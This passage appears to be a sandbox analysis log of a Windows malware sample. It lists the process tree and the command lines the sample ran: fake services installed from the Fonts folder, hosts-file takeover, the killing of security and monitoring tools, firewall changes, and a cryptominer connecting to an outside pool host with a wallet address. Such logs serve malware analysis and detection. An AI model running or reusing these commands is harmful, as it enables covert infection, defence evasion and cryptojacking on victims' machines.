  - Launches sc.exe
  PID:4980
- C:\Windows\SysWOW64\net.exe
  net stop RpcEptManger
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RpcEptManger
    3⤵
    PID:2936
- C:\Windows\SysWOW64\sc.exe
  sc delete RpcEptManger
  2⤵
  - Launches sc.exe
  PID:4744
- \??\c:\windows\Fonts\svchost.exe
  c:\windows\Fonts\svchost.exe install RpcEptManger c:\windows\Fonts\wininit.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- \??\c:\windows\Fonts\svchost.exe
  c:\windows\Fonts\svchost.exe set RpcEptManger Description RPC performance library information from Windows Management.
  2⤵
  - Executes dropped EXE
  PID:2756
- \??\c:\windows\Fonts\svchost.exe
  c:\windows\Fonts\svchost.exe set RpcEptManger DisplayName RPC Endpoint Manger
  2⤵
  - Executes dropped EXE
  PID:3420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c c:\windows\demo.bat
  2⤵
  - Drops file in Drivers directory
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\system32\Drivers\etc\hosts /a
    3⤵
    - Modifies file permissions
    PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:408
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\Drivers\etc\hosts /g users:f
    3⤵
    PID:4320
- - C:\Windows\SysWOW64\attrib.exe
    attrib -s -h -a -r C:\Windows\system32\Drivers\etc\hosts
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +a +r C:\Windows\system32\Drivers\etc\hosts
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:3008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4584
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\Drivers\etc\hosts /g system:f
    3⤵
    PID:4544
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:1320
- - C:\Windows\SysWOW64\attrib.exe
    attrib -s -h -r -a C:\ProgramData
    3⤵
    - Views/modifies file attributes
    PID:4960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3284
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\ProgramData\Natihial\svshostr.exe /d everyone
    3⤵
    PID:1076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1740
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\ProgramData\new\csrss.exe /d everyone
    3⤵
    PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4900
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\ProgramData\Microsoft\Natihial\cmd.exe /d everyone
    3⤵
    PID:764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3384
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\ProgramData\expl0rer.exe /d everyone
    3⤵
    PID:4208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4296
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\windows\svchost.exe /d everyone
    3⤵
    PID:3908
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    Wmic Process Where "Name='cmd.exe' And ExecutablePath='C:\\ProgramData\\Microsoft\\Natihial\\cmd.exe'" Call Terminate
    3⤵
    - Kills process with WMI
    - Suspicious use of AdjustPrivilegeToken
    PID:3120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn "Adobe Flash Player Updaters" /f
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='csrss.exe' and ExecutablePath='C:\\ProgramData\\new\\csrss.exe'" call Terminate
    3⤵
    - Kills process with WMI
    - Suspicious use of AdjustPrivilegeToken
    PID:312
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='svchost.exe' and ExecutablePath='C:\\Windows\\svchost.exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:1496
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='svchost.exe' and ExecutablePath='C:\\ProgramData\\dll\\svchost.exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:3872
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='csrss.exe' and ExecutablePath='C:\\ProgramData\\dll\\csrss.exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:740
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='svchost.exe' and ExecutablePath='C:\\ProgramData\\Natioanl\\svchostr.exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:4112
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='csrss.exe' and ExecutablePath='C:\\ProgramData\\Microsoft\\Natioanl\\csrss..exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:2420
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='csrss.exe' and ExecutablePath='C:\\ProgramData\\nm\\winlogin.exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:3972
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r C:\Windows\svchost.exe
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:4172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4916
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\svchost.exe /d everyone
    3⤵
    PID:4984
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /t /im tasksche.exe
    3⤵
    - Kills process with taskkill
    PID:4220
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r C:\Windows\tasksche.exe
    3⤵
    - Sets file to hidden
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:2188
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2776
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\tasksche.exe /d everyone
    3⤵
    PID:2924
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r +a C:\ProgramData
    3⤵
    - Sets file to hidden
    PID:2912
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='server.exe' and ExecutablePath='C:\\program files (x86)\\stormii\\server.exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:1732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4880
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\program files (x86)\stormii\server.exe" /d everyone
    3⤵
    PID:256
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r +a "C:\program files (x86)\stormii"
    3⤵
    - Sets file to hidden
    - Drops file in Program Files directory
    PID:4248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:828
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\program files (x86)\stormii" /d everyone
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic process where "name='conhost.exe' and ExecutablePath='C:\\program files (x86)\\windows nt\\conhost.exe'" call Terminate
    3⤵
    - Kills process with WMI
    PID:2100
- - C:\Windows\SysWOW64\sc.exe
    sc delete SuperProServerST
    3⤵
    - Launches sc.exe
    PID:912
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= auto
    3⤵
    - Launches sc.exe
    PID:1560
- - C:\Windows\SysWOW64\net.exe
    net start MpsSvc
    3⤵
    PID:5020
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start MpsSvc
      4⤵
      PID:1188
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    PID:3904
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    PID:2028
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
    3⤵
    - Modifies Windows Firewall
    PID:4156
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    PID:3284
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add policy name=win
    3⤵
    PID:1616
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=Allowlist
    3⤵
    PID:2960
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=denylist
    3⤵
    PID:3060
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
    3⤵
    PID:4984
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
    3⤵
    PID:1608
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
    3⤵
    PID:4960
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
    3⤵
    PID:4936
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
    3⤵
    PID:4744
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=Allow action=permit
    3⤵
    PID:4976
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=deny action=block
    3⤵
    PID:2188
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
    3⤵
    PID:2920
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static set policy name=win assign=y
    3⤵
    PID:1732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    PID:1524
- - C:\Windows\SysWOW64\find.exe
    find "5.1."
    3⤵
    PID:3052
- \??\c:\windows\Fonts\svchost.exe
  c:\windows\Fonts\svchost.exe start RpcEptManger
  2⤵
  - Executes dropped EXE
  PID:3996
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tem.vbs"
  2⤵
  PID:3060

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe
1⤵
- Executes dropped EXE
PID:4592
- \??\c:\windows\Fonts\wininit.exe
  "c:\windows\Fonts\wininit.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1468
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
    3⤵
    PID:1156
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r -a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:3988
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2336
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:3280
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c taskkill /im taskmgr.exe /f /T
    3⤵
    PID:1604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im taskmgr.exe /f /T
      4⤵
      Kills process with taskkill
      PID:940
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c taskkill /im rundll32.exe /f /T
    3⤵
    PID:4580
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im rundll32.exe /f /T
      4⤵
      Kills process with taskkill
      PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c taskkill /im autoruns.exe /f /T
    3⤵
    PID:4092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im autoruns.exe /f /T
      4⤵
      Kills process with taskkill
      PID:4960
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c taskkill /im perfmon.exe /f /T
    3⤵
    PID:1452
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im perfmon.exe /f /T
      4⤵
      Kills process with taskkill
      PID:2720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c taskkill /im procexp.exe /f /T
    3⤵
    PID:4696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im procexp.exe /f /T
      4⤵
      Kills process with taskkill
      PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c taskkill /im ProcessHacker.exe /f /T
    3⤵
    PID:4744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im ProcessHacker.exe /f /T
      4⤵
      Kills process with taskkill
      PID:5044
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
    3⤵
    PID:3376
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r -a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:2212
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4528
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:4656
- - \??\c:\windows\Fonts\svchost.exe
    c:\windows\Fonts\svchost.exe start Samserver
    3⤵
    - Executes dropped EXE
    PID:204
- - \??\c:\windows\Fonts\svchost.exe
    c:\windows\Fonts\svchost.exe set Samserver Description Identify computers that are connected to the network, collect and store the properties of these networks, and notify the application when they are changed.
    3⤵
    - Executes dropped EXE
    PID:3080
- - \??\c:\windows\Fonts\svchost.exe
    c:\windows\Fonts\svchost.exe set Samserver Security Accounts Services
    3⤵
    - Executes dropped EXE
    PID:3620
- - \??\c:\windows\Fonts\svchost.exe
    c:\windows\Fonts\svchost.exe install Samserver rundllhost.exe -o x.alibuf.com:443 -u 45c2ShhBmuk6ukfdTLok59U86gWLXZo8kDJbpTm8uYT1U35mig1pUCbd6796AJviTPXetFrUo37XFGcEYU1k3tYe32o9qEr -p x -k
    3⤵
    - Executes dropped EXE
    PID:4084
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2172
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:4748
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2392
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:4240
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4648
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:1496
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3948
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:5072
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2268
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:3988
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4224
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:4320
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4196
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:3008
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:1920
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2460
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:3080
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2216
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4668
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:3884
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3468
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:4692
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4780
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:4984
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3388
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:4816
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4252
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:2836
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3204
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:4328
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1424
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:4744
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:524
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:4264
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3156
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:364
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2860
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:4608
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1960
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:1324
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3520
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:1504
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3692
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:3244
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:912
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:3660
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4500
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:4920
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4640
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2224
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:3696
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4376
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:4544
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4344
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:5092
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3972
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:3776
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:372
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:2172
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4764
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:116
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4204
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:1344
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2144
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1292
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:1148
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4120
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:1544
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3692
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:2348
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3916
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:2644
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:60
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:520
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1100
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:4320
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1432
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:1064
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2276
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:2728
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2252
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3080
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:176
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3304
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:2312
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:2736
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:5068
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3284
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:4792
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4784
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:2616
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1348
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:940
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      PID:4816
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1536
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      PID:928
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:1856
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:4328
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:908
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:3048
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Views/modifies file attributes
      PID:4204
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib +s +a %SystemRoot%\Fonts
    3⤵
    PID:4536
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a C:\Windows\Fonts
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:2188
- - C:\Windows\SysWOW64\cmd.exe
